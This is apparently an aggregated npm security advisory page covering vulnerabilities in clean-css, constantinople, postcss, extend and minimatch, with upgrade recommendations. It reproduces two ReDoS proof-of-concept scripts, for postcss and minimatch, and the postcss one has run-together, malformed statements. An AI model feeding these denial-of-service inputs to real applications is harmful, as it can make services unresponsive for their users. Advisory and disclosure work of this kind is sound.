Version Details and Security Vulnerabilities

Version of clean-css prior to 4.1.11 are vulnerable to Regular Expression Denial of Service (ReDoS). Untrusted input may cause catastrophic backtracking while matching regular expressions. This can cause the application to be unresponsive leading to Denial of Service.

Recommendation

Upgrade to version 4.1.11 or higher.

Versions of constantinople prior to 3.1.1 are vulnerable to a sandbox bypass which can lead to arbitrary code execution.

Recommendation

Update to version 3.1.1 or later.

The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern

\/\*\s* sourceMappingURL=(.*)

PoC

var postcss = require("postcss")
function build_attack(n) {
    var ret = "a{}"
    for (var i = 0; i < n; i++) {
        ret += "/*# sourceMappingURL="
    }
    return ret + "!";
}

postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
    if (i % 1000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i) try {
            postcss.parse(attack_str) var time_cost = Date.now() - time;
            console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
        } catch (e) {
            var time_cost = Date.now() - time;
            console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
        }
    }
}

An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.

This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.

Versions of extend prior to 3.0.2 (for 3.x) and 2.0.2 (for 2.x) are vulnerable to Prototype Pollution. The extend() function allows attackers to modify the prototype of Object causing the addition or modification of an existing property that will exist on all objects.

Recommendation

If you're using extend 3.x upgrade to 3.0.2 or later. If you're using extend 2.x upgrade to 2.0.2 or later.

A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.

Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).

Proof of Concept

var minimatch = require(“minimatch”);

// utility function for generating long strings
var genstr = function (len, chr) {
  var result = “”;
  for (i=0; i<=len; i++) {
    result = result + chr;
  }
  return result;
}

var exploit = “[!” + genstr(1000000, “\\”) + “A”;

// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);

Recommendation

Update to version 3.0.2 or later.